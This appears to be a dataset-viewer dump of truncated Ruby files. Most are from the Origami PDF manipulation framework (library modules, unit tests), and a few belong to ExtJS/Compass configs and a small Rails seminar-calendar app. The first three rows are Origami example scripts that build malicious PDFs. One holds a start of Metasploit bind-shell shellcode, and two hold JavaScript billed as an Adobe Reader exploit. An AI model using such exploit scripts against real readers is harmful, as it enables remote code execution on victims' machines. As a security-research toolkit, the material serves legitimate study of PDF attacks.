code stringlengths 1 1.73M | language stringclasses 1
value |
|---|---|
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
pdf = PDF.read(ARGV[0])
# win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com
win32_bin = "%u03eb%ueb59%ue805%uff... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
pdf = PDF.read(ARGV[0])
jscript = %Q|
//##############
//Exploit made by Arr1val
//Proved in adobe 9.1 and adobe 8.1.4 on linux
//
//Steps:
//- c... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
pdf = PDF.read(ARGV[0])
jscript = %Q|
//##############
//Exploit made by Arr1val
//Proved in adobe 9.1 and adobe 8.1.4 on linux
//##############
... | Ruby |
=begin
= File
xdp.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as ... | Ruby |
=begin
= File
widgets.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License... | Ruby |
=begin
= File
patterns.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Licens... | Ruby |
require 'test/unit'
require 'stringio'
class TC_PdfEncrypt < Test::Unit::TestCase
def setup
@target = PDF.read("tests/dataset/calc.pdf", :ignore_errors => false, :verbosity => Parser::VERBOSE_QUIET)
@output = StringIO.new
end
# def teardown
# end
def test_encrypt_rc4_40b
@outp... | Ruby |
require 'test/unit'
require 'stringio'
class TC_Streams < Test::Unit::TestCase
def setup
@target = PDF.new
@output = StringIO.new
@data = "0123456789" * 1024
end
# def teardown
# end
def test_predictors
stm = Stream.new(@data, :Filter => :FlateDecode)
stm.set_... | Ruby |
require 'test/unit'
class TC_Actions < Test::Unit::TestCase
def setup
@target = PDF.new
@page = Page.new
@action = Action::JavaScript.new "app.alert(null);"
end
# def teardown
# end
def test_pdf_actions
@target.onDocumentOpen @action
@target.onDocumentClose @action... | Ruby |
require 'test/unit'
class TC_PdfParse < Test::Unit::TestCase
def setup
@data =
%w{
tests/dataset/empty.pdf
tests/dataset/calc.pdf
tests/dataset/crypto.pdf
}
@dict = StringScanner.new "<</N 2 0 R/x1 null/Pi 3.14 /a <<>>>>"
@bytestring = String... | Ruby |
require 'test/unit/testsuite'
require 'tc_pdfparse.rb'
require 'tc_streams.rb'
require 'tc_pdfencrypt.rb'
require 'tc_pdfsig.rb'
require 'tc_pdfattach.rb'
require 'tc_pages.rb'
require 'tc_actions.rb'
require 'tc_annotations.rb'
require 'tc_pdfnew.rb'
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.d... | Ruby |
require 'test/unit'
require 'stringio'
class TC_Annotations< Test::Unit::TestCase
def setup
@target = PDF.new
@page = Page.new
@action = Action::JavaScript.new "app.alert(null);"
@output = StringIO.new
end
# def teardown
# end
def test_annotations
circle = A... | Ruby |
require 'test/unit'
require 'stringio'
class TC_PdfAttach < Test::Unit::TestCase
def setup
@target = PDF.new
@attachment = "tests/dataset/test.dummycrt"
@output = StringIO.new
end
# def teardown
# end
def test_attachfile
assert_nothing_raised do
fspec = @target.a... | Ruby |
require 'test/unit'
require 'stringio'
class TC_PdfNew < Test::Unit::TestCase
def setup
@output = StringIO.new
end
# def teardown
# end
def test_pdf_struct
pdf = PDF.new
null = Null.new
assert_nothing_raised do
pdf << null
end
assert_nothing_raise... | Ruby |
require 'test/unit'
require 'stringio'
class TC_Pages < Test::Unit::TestCase
def setup
@target = PDF.new
@output = StringIO.new
end
# def teardown
# end
def test_appendpage
p1, p2, p3 = Page.new, Page.new, Page.new
assert_nothing_raised do
@target.append_page p1... | Ruby |
require 'test/unit'
require 'stringio'
class TC_PdfSig < Test::Unit::TestCase
def setup
@target = PDF.read("tests/dataset/calc.pdf", :ignore_errors => false, :verbosity => Parser::VERBOSE_QUIET)
@output = StringIO.new
@cert = OpenSSL::X509::Certificate.new(File.open("tests/dataset/test.dummy... | Ruby |
=begin
= File
origami.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in the hop... | Ruby |
require 'rubygems'
require 'rake/rdoctask'
require 'rake/testtask'
require 'rake/gempackagetask'
spec = Gem::Specification.new do |s|
s.name = "origami"
s.version = "1.0.0"
s.author = "Guillaume Delugré"
s.email = "guillaume at security-labs dot org"
s.homepage = "http://seclabs.org/origa... | Ruby |
=begin
= File
trailer.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in the hop... | Ruby |
=begin
= File
numeric.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in the hop... | Ruby |
module Origami
module Obfuscator
WHITECHARS = [ " ", "\t", "\r", "\n", "\0" ]
OBJECTS = [ Array, Boolean, Dictionary, Integer, Name, Null, Stream, String, Real, Reference ]
MAX_INT = 0xFFFFFFFF
PRINTABLE = ("!".."9").to_a + (':'..'Z').to_a + ('['..'z').to_a + ('{'..'~').to_a
FILTERS = [ :FlateD... | Ruby |
=begin
= File
pdf.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in the hope th... | Ruby |
=begin
= File
outline.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License... | Ruby |
=begin
= File
dictionary.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume DelugrÈ <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Lice... | Ruby |
=begin
= File
string.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in the hope... | Ruby |
=begin
= File
encryption.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume DelugrÈ <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Lice... | Ruby |
=begin
= File
parser.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in the hope... | Ruby |
=begin
= File
graphics/state.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public ... | Ruby |
=begin
= File
graphics/colors.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public... | Ruby |
=begin
= File
graphics/xobject.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Publi... | Ruby |
=begin
= File
graphics/patterns.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Publ... | Ruby |
=begin
= File
graphics/path.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public L... | Ruby |
=begin
= File
graphics/text.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public L... | Ruby |
=begin
= File
graphics/instruction.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General P... | Ruby |
=begin
= File
reference.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in the h... | Ruby |
=begin
= File
name.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as... | Ruby |
=begin
= File
webcapture.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in the ... | Ruby |
=begin
= File
metadata.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Licens... | Ruby |
=begin
= File
signature.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in the h... | Ruby |
=begin
= File
export.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume DelugrÈ <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License ... | Ruby |
=begin
= File
array.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume DelugrÈ <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License a... | Ruby |
=begin
= File
filters/jpx.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Lic... | Ruby |
=begin
= File
filters/lzw.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Lic... | Ruby |
=begin
= File
filters/dct.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Lic... | Ruby |
=begin
= File
filters/crypt.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public L... | Ruby |
=begin
= File
filters/runlength.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Publ... | Ruby |
=begin
= File
filters/predictors.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Pub... | Ruby |
=begin
= File
filters/flate.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public L... | Ruby |
=begin
= File
filters/jbig2.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public L... | Ruby |
=begin
= File
filters/ascii.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public L... | Ruby |
=begin
= File
filters/ccitt.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public L... | Ruby |
=begin
= File
file.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as... | Ruby |
=begin
= File
boolean.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume DelugrÈ <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License... | Ruby |
=begin
= File
stream.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in the hope... | Ruby |
=begin
= File
parsers/pdf.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Lic... | Ruby |
=begin
= File
parsers/linear.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in ... | Ruby |
=begin
= File
parsers/ppklite.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in... | Ruby |
=begin
= File
parsers/fdf.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in the... | Ruby |
=begin
= File
page.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in the hope t... | Ruby |
=begin
= File
xreftable.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in the h... | Ruby |
=begin
= File
object.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in the hope... | Ruby |
# $ext_path: This should be the path of where the ExtJS SDK is installed
# Generally this will be in a lib/extjs folder in your applications root
# <root>/lib/extjs
$ext_path = "../../"
# sass_path: the directory your Sass files are in. THIS file should also be in the Sass folder
# Generally this will be in a resource... | Ruby |
# include the utils rb file which has extra functionality for the ext theme
dir = File.dirname(__FILE__)
require File.join(dir, 'lib', 'utils.rb')
# register ext4 as a compass framework
Compass::Frameworks.register 'ext4', dir | Ruby |
# $ext_path: This should be the path of the Ext JS SDK relative to this file
$ext_path = "../../extjs"
# sass_path: the directory your Sass files are in. THIS file should also be in the Sass folder
# Generally this will be in a resources/sass folder
# <root>/resources/sass
sass_path = File.dirname(__FILE__)
# css_pat... | Ruby |
# Compass configurations
sass_path = File.dirname(__FILE__)
css_path = File.join(sass_path, "..", "css")
# Require any additional compass plugins here.
images_dir = File.join(sass_path, "..", "img")
output_style = :expanded
environment = :production | Ruby |
module ExtJS4
module SassExtensions
module Functions
module Utils
def parsebox(list, n)
assert_type n, :Number
if !n.int?
raise ArgumentError.new("List index #{n} must be an integer")
elsif n.to_i < 1
raise ArgumentError.new("List index #{n} must... | Ruby |
# Be sure to restart your server when you modify this file.
# Add new inflection rules using the following format
# (all these examples are active by default):
# Inflector.inflections do |inflect|
# inflect.plural /^(ox)$/i, '\1en'
# inflect.singular /^(ox)en/i, '\1'
# inflect.irregular 'person', 'people'
# i... | Ruby |
# Be sure to restart your server when you modify this file.
# Add new mime types for use in respond_to blocks:
# Mime::Type.register "text/richtext", :rtf
# Mime::Type.register_alias "text/html", :iphone
| Ruby |
# Settings specified here will take precedence over those in config/environment.rb
# The production environment is meant for finished, "live" apps.
# Code is not reloaded between requests
config.cache_classes = true
# Use a different logger for distributed setups
# config.logger = SyslogLogger.new
# Full error repor... | Ruby |
# Settings specified here will take precedence over those in config/environment.rb
# In the development environment your application's code is reloaded on
# every request. This slows down response time but is perfect for development
# since you don't have to restart the webserver when you make code changes.
config.ca... | Ruby |
# Settings specified here will take precedence over those in config/environment.rb
# The test environment is used exclusively to run your application's
# test suite. You never need to work with it otherwise. Remember that
# your test database is "scratch space" for the test suite and is wiped
# and recreated between... | Ruby |
# Be sure to restart your server when you modify this file
# Uncomment below to force Rails into production mode when
# you don't control web/app server and can't set it the proper way
# ENV['RAILS_ENV'] ||= 'production'
# Specifies gem version of Rails to use when vendor/rails is not present
RAILS_GEM_VERSION = '2.0... | Ruby |
# Don't change this file!
# Configure your app in config/environment.rb and config/environments/*.rb
RAILS_ROOT = "#{File.dirname(__FILE__)}/.." unless defined?(RAILS_ROOT)
module Rails
class << self
def boot!
unless booted?
preinitialize
pick_boot.run
end
end
def booted?
... | Ruby |
ActionController::Routing::Routes.draw do |map|
map.resources :users
map.resources :core
# The priority is based upon order of creation: first created -> highest priority.
# Sample of regular route:
# map.connect 'products/:id', :controller => 'catalog', :action => 'view'
# Keep in mind you can assig... | Ruby |
# Methods added to this helper will be available to all templates in the application.
module ApplicationHelper
end
| Ruby |
module ScreenHelper
$seminar_event = "Seminar"
$PhD_defense = "PhD Defense"
$Defense = "Defense"
$at_rooms = []
$classes = ["SI-003", "SI-004", "SI-006", "SI-007", "SI-008", "SI-013", "SI-015"]
$type_list = ["Seminar", "PhD Defense", "Defense"]
$time_offset = [0, 1, 6, 30]
def query_seminars() ... | Ruby |
module CalendarHelper
def select_day_events(day)
array = []
time = Time.now + day.days
@events.each do |ev|
if (ev.start.day == time.day) && (ev.start.month == time.month) && (ev.start.year == time.year)
array << ev
end
end
return array
end
def write_month (... | Ruby |
module UsersHelper
$users_controller = "users"
$core_controller = "core"
$super_privilege = 1
$login = "core/templates/login"
$super_logout = "users/templates/super_logout"
$logout = "users/templates/logout"
$main_edit_page = "users/edit"
$edit = "users/templates/edit"
$edit_super = "users/templ... | Ruby |
module RoomHelper
$classes = ["SI-003", "SI-004", "SI-006", "SI-007", "SI-008", "SI-013", "SI-015"]
$at_rooms = [@class003, @class004, @class006, @class007, @class008, @class013, @class015]
#This represents the time offset in the events.
#For example 0 means that the the evenst will be display in the current... | Ruby |
module AutomatedUpdatorHelper
end
| Ruby |
module CoreHelper
$logout = "users/templates/logout"
$login = "core/templates/login"
#Used in the main controller index method
def current_user_type(user_session)
user = User.find(user_session)
if (user.privilege == 1)
return $logout
elsif (user.privilege == 0)
return $logout
... | Ruby |
module SeminarHelper
$seminar_event = "Seminar"
$PhD_defense = "PhD Defense"
$Defense = "Defense"
$at_rooms = []
$classes = ["SI-003", "SI-004", "SI-006", "SI-007", "SI-008", "SI-013", "SI-015"]
$type_list = ["Seminar", "PhD Defense", "Defense"]
$time_offset = [0, 1, 6, 30]
def query_seminars()... | Ruby |
module EntertainmentHelper
$announcement_type = "entertainment"
def query_entertainment_events show
result = select_events_in(show, $announcement_type)
entertainments = unless result== nil then result else Array.new end
return entertainments
end
def write_date (time)
current_time = ... | Ruby |
module GcalHelper
#final and parse hash with events
$event_hash = {}
#an array with desciptions for a single event
@desc_attributes = []
#backup hash with description for a single event, This is the one store as a value in $event_hash
$description_hash = {}
#The next 3 are used because the langua... | Ruby |
class Announcement < ActiveRecord::Base
validates_presence_of :title, :place, :message => "cant be empty"
validates_length_of :title, :maximum => 50, :message => 'must have 25 characters at most'
end
| Ruby |
class User < ActiveRecord::Base
$Midnight = 0
$Noon = 12
$Evening = 19
attr_accessor :password_confirmation
validates_presence_of :name, :email, :password, :privilege, :message => "is required"
validates_uniqueness_of :email => "must be unique; this mail has already been registered"
validates_for... | Ruby |
class ScreenController < ApplicationController
include ScreenHelper
layout 'screen'
$pages = ['calendar', 'seminars', 'map']
def index
if session[:screenPage] == nil
session[:screenPage] = 0
end
respond_to do |format|
format.html # index.html.erb
format.xml { ren... | Ruby |
class GcalController < ApplicationController
include GcalHelper
layout 'gcal'
$login = "core/templates/login"
$super_logout = "users/templates/logout"
$logout = "users/templates/logout"
# The following names are the ones given to the different types of seminars
# this is how the queries should be... | Ruby |
class EntertainmentController < ApplicationController
layout 'entertainment'
include EntertainmentHelper
def index
#This is for not letting anyone go to entertainment without login in!
redirect_to :action => 'index', :controller=>'core'
end
def show
if(session[:user_id] == nil)
retu... | Ruby |
class AutomatedUpdatorController < ApplicationController
layout 'gcal'
$main_url = "http://atelier.inf.unisi.ch:8000/gcal"
$time_to_connect = " 01:00:00 "
$break_point_html = "<body>"
$sleeping_time = 600
@@status = "stopped"
@@running_offset = 0
#Solution to be able to connect to the Google Cal... | Ruby |
class RoomController < ApplicationController
include RoomHelper
layout 'gcal'
def show
query_room_events
end
end
| Ruby |
class SeminarController < ApplicationController
include SeminarHelper
layout 'seminar'
def show
query_seminars
end
end
| Ruby |
class CalendarController < ApplicationController
include CalendarHelper
layout 'gcal'
def index
query_calendar_events
end
end
| Ruby |
class CoreController < ApplicationController
include CoreHelper
$login = "core/templates/login"
#@menutype the idea is to pass the type of content in the login div and not check it in the _menu.html.erb.
#@menutype the method current_user_type is in the helper
def index
# @users = params[:users] ... | Ruby |
# Filters added to this controller apply to all controllers in the application.
# Likewise, all the methods added will be available for all controllers.
class ApplicationController < ActionController::Base
helper :all # include all helpers, all the time
# See ActionController::RequestForgeryProtection for details... | Ruby |
class UsersController < ApplicationController
include CoreHelper
include UsersHelper
# GET /users
# GET /users.xml
def index
# @users = User.find(:all)
@user = User.find(session[:user_id]) unless session[:user_id] == nil
if( @user.privilege == $super_privilege)
@menutype = $sup... | Ruby |
# Add your own tasks in files placed in lib/tasks ending in .rake,
# for example lib/tasks/capistrano.rake, and they will automatically be available to Rake.
require(File.join(File.dirname(__FILE__), 'config', 'boot'))
require 'rake'
require 'rake/testtask'
require 'rake/rdoctask'
require 'tasks/rails'
| Ruby |
#!/usr/bin/env ruby
require File.dirname(__FILE__) + '/../config/boot'
require 'commands/console'
| Ruby |
#!/usr/bin/env ruby
require File.dirname(__FILE__) + '/../config/boot'
require 'commands/runner'
| Ruby |
#!/usr/bin/env ruby
require File.dirname(__FILE__) + '/../../config/boot'
require 'commands/performance/benchmarker'
| Ruby |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.